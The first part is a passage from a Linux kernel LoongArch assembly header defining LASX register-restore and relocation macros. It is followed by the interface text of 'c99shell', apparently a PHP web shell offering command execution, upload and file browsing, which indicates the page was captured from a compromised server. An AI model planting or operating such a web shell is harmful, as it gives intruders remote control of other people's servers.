    lasx_restore_upper $xr9, \base, $vr31, $xr31, (THREAD_FPR9-THREAD_FPR0)
    lasx_restore_upper $xr10, \base, $vr31, $xr31, (THREAD_FPR10-THREAD_FPR0)
    lasx_restore_upper $xr11, \base, $vr31, $xr31, (THREAD_FPR11-THREAD_FPR0)
    lasx_restore_upper $xr12, \base, $vr31, $xr31, (THREAD_FPR12-THREAD_FPR0)
    lasx_restore_upper $xr13, \base, $vr31, $xr31, (THREAD_FPR13-THREAD_FPR0)
    lasx_restore_upper $xr14, \base, $vr31, $xr31, (THREAD_FPR14-THREAD_FPR0)
    lasx_restore_upper $xr15, \base, $vr31, $xr31, (THREAD_FPR15-THREAD_FPR0)
    lasx_restore_upper $xr16, \base, $vr31, $xr31, (THREAD_FPR16-THREAD_FPR0)
    lasx_restore_upper $xr17, \base, $vr31, $xr31, (THREAD_FPR17-THREAD_FPR0)
    lasx_restore_upper $xr18, \base, $vr31, $xr31, (THREAD_FPR18-THREAD_FPR0)
    lasx_restore_upper $xr19, \base, $vr31, $xr31, (THREAD_FPR19-THREAD_FPR0)
    lasx_restore_upper $xr20, \base, $vr31, $xr31, (THREAD_FPR20-THREAD_FPR0)
    lasx_restore_upper $xr21, \base, $vr31, $xr31, (THREAD_FPR21-THREAD_FPR0)
    lasx_restore_upper $xr22, \base, $vr31, $xr31, (THREAD_FPR22-THREAD_FPR0)
    lasx_restore_upper $xr23, \base, $vr31, $xr31, (THREAD_FPR23-THREAD_FPR0)
    lasx_restore_upper $xr24, \base, $vr31, $xr31, (THREAD_FPR24-THREAD_FPR0)
    lasx_restore_upper $xr25, \base, $vr31, $xr31, (THREAD_FPR25-THREAD_FPR0)
    lasx_restore_upper $xr26, \base, $vr31, $xr31, (THREAD_FPR26-THREAD_FPR0)
    lasx_restore_upper $xr27, \base, $vr31, $xr31, (THREAD_FPR27-THREAD_FPR0)
    lasx_restore_upper $xr28, \base, $vr31, $xr31, (THREAD_FPR28-THREAD_FPR0)
    lasx_restore_upper $xr29, \base, $vr31, $xr31, (THREAD_FPR29-THREAD_FPR0)
    lasx_restore_upper $xr30, \base, $vr31, $xr31, (THREAD_FPR30-THREAD_FPR0)
    lasx_restore_upper $xr31, \base, $vr31, $xr31, (THREAD_FPR31-THREAD_FPR0)
    /* Restore $vr31 ($xr31 lower bits) with xvinsgr2vr */
    xvinsgr2vr.d    $xr31, $r17, 0
    xvinsgr2vr.d    $xr31, $r18, 1
    .endm

    .macro    lasx_init_upper xd tmp
    xvinsgr2vr.d    \xd, \tmp, 2
    xvinsgr2vr.d    \xd, \tmp, 3
    .endm

    .macro    lasx_init_all_upper tmp
    not        \tmp, zero
    lasx_init_upper    $xr0 \tmp
    lasx_init_upper    $xr1 \tmp
    lasx_init_upper    $xr2 \tmp
    lasx_init_upper    $xr3 \tmp
    lasx_init_upper    $xr4 \tmp
    lasx_init_upper    $xr5 \tmp
    lasx_init_upper    $xr6 \tmp
    lasx_init_upper    $xr7 \tmp
    lasx_init_upper    $xr8 \tmp
    lasx_init_upper    $xr9 \tmp
    lasx_init_upper    $xr10 \tmp
    lasx_init_upper    $xr11 \tmp
    lasx_init_upper    $xr12 \tmp
    lasx_init_upper    $xr13 \tmp
    lasx_init_upper    $xr14 \tmp
    lasx_init_upper    $xr15 \tmp
    lasx_init_upper    $xr16 \tmp
    lasx_init_upper    $xr17 \tmp
    lasx_init_upper    $xr18 \tmp
    lasx_init_upper    $xr19 \tmp
    lasx_init_upper    $xr20 \tmp
    lasx_init_upper    $xr21 \tmp
    lasx_init_upper    $xr22 \tmp
    lasx_init_upper    $xr23 \tmp
    lasx_init_upper    $xr24 \tmp
    lasx_init_upper    $xr25 \tmp
    lasx_init_upper    $xr26 \tmp
    lasx_init_upper    $xr27 \tmp
    lasx_init_upper    $xr28 \tmp
    lasx_init_upper    $xr29 \tmp
    lasx_init_upper    $xr30 \tmp
    lasx_init_upper    $xr31 \tmp
    .endm

.macro not dst src
    nor    \dst, \src, zero
.endm

.macro la_abs reg, sym
#ifndef CONFIG_RELOCATABLE
    la.abs    \reg, \sym
#else
    766:
    lu12i.w    \reg, 0
    ori    \reg, \reg, 0
    lu32i.d    \reg, 0
    lu52i.d    \reg, \reg, 0
    .pushsection ".la_abs", "aw", %progbits
    .dword    766b
    .dword    \sym
    .popsection
#endif
.endm

#endif /* _ASM_ASMMACRO_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0059 ]--